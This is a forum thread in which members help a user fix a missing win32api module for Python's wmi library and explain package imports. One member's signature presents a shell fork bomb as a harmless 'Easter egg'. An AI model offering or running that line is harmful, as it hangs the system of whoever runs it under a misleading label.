Author Topic: missing python modules  (Read 6793 times)

0 Members and 1 Guest are viewing this topic.

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
missing python modules
« on: December 09, 2012, 08:21:08 am »
hello residents,
im geting this kind of errors:

Code: [Select]
"import wmi
c = wmi.WMI ("some_other_machine")


Traceback (most recent call last):
  File "<pyshell#0>", line 1, in <module>
    import wmi
  File "C:\Python27\lib\site-packages\wmi.py", line 88, in <module>
    from win32com.client import GetObject, Dispatch
  File "C:\Python27\lib\site-packages\win32com\__init__.py", line 5, in <module>
    import win32api, sys, os
ImportError: No module named win32api
>>> "

im geting xo fucked up .. where do i get modules for this python dear??
« Last Edit: December 09, 2012, 12:48:15 pm by Kulverstukas »
If you don't go into the tiger's cave, how will you get the cub?

Offline s3my0n

  • Knight
  • **
  • Posts: 276
  • Cookies: 58
    • View Profile
    • ::1
Re: missing python modules
« Reply #1 on: December 09, 2012, 09:20:57 am »
Easter egg in all *nix systems: E(){ E|E& };E

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
Re: missing python modules
« Reply #2 on: December 09, 2012, 09:25:13 am »
been there severally n nothing seems to work for me.
could it be my windows 7 32 bit?
If you don't go into the tiger's cave, how will you get the cub?

Offline s3my0n

  • Knight
  • **
  • Posts: 276
  • Cookies: 58
    • View Profile
    • ::1
Re: missing python modules
« Reply #3 on: December 09, 2012, 11:33:23 am »
So after you install that module, you still get that error?
Easter egg in all *nix systems: E(){ E|E& };E

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
Re: missing python modules
« Reply #4 on: December 09, 2012, 01:12:58 pm »
yap! its simply not going away
is there a way to update all modules coz i wonder if the others are still ok.
If you don't go into the tiger's cave, how will you get the cub?

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: missing python modules
« Reply #5 on: December 09, 2012, 05:21:02 pm »
You probably did it wrong.
Extract your libs in %python_dir%/lib/site-packages
Or have it in the same folder as the script.

Offline pyte

  • Peasant
  • *
  • Posts: 79
  • Cookies: -7
    • View Profile
Re: missing python modules
« Reply #6 on: December 09, 2012, 05:26:00 pm »
now i see where i'm loosing it all!
a few corrections on where i was placing it and it now works like charm!
thanx a lot Residents lets code on..
If you don't go into the tiger's cave, how will you get the cub?

Offline IrishYoga

  • Serf
  • *
  • Posts: 31
  • Cookies: -2
    • View Profile
Re: missing python modules
« Reply #7 on: January 25, 2013, 03:40:02 am »
Same thing is happening with me. I've located where my python sys.py script is and i try to put my modules in there, but they don't work. I thought it was just not accepting any module i would throw at it, so i decided to copy the code of a pre-existing module and name it something else and try to run it. when i imported "test" it would work,but not when i would make my own scripts. Is there anything different needed to insert into my python script when storing modules?

Offline vezzy

  • Royal Highness
  • ****
  • Posts: 771
  • Cookies: 172
    • View Profile
Re: missing python modules
« Reply #8 on: January 25, 2013, 03:55:40 am »
Same thing is happening with me. I've located where my python sys.py script is and i try to put my modules in there, but they don't work. I thought it was just not accepting any module i would throw at it, so i decided to copy the code of a pre-existing module and name it something else and try to run it. when i imported "test" it would work,but not when i would make my own scripts. Is there anything different needed to insert into my python script when storing modules?

Wait, are you using your own scripts as modules?

If so, you need a (typically blank) file by the name of __init__.py in the directory where your scripts are located, so that Python will read it as a package container, allowing you to import modules.

See here.
Quote from: Dippy hippy
Just brushing though. I will be semi active mainly came to find a HQ botnet, like THOR or just any p2p botnet

Offline IrishYoga

  • Serf
  • *
  • Posts: 31
  • Cookies: -2
    • View Profile
Re: missing python modules
« Reply #9 on: February 05, 2013, 06:55:43 am »
Thanks! Sorry i answered so late, but it worked, thanks a lot!

Offline techb

  • Soy Sauce Feeler
  • Global Moderator
  • King
  • *
  • Posts: 2350
  • Cookies: 345
  • Aliens do in fact wear hats.
    • View Profile
    • github
Re: missing python modules
« Reply #10 on: February 05, 2013, 09:35:24 pm »
I would also recommend using setup.py or easy_install instead of cp to the site-packages
>>>import this
-----------------------------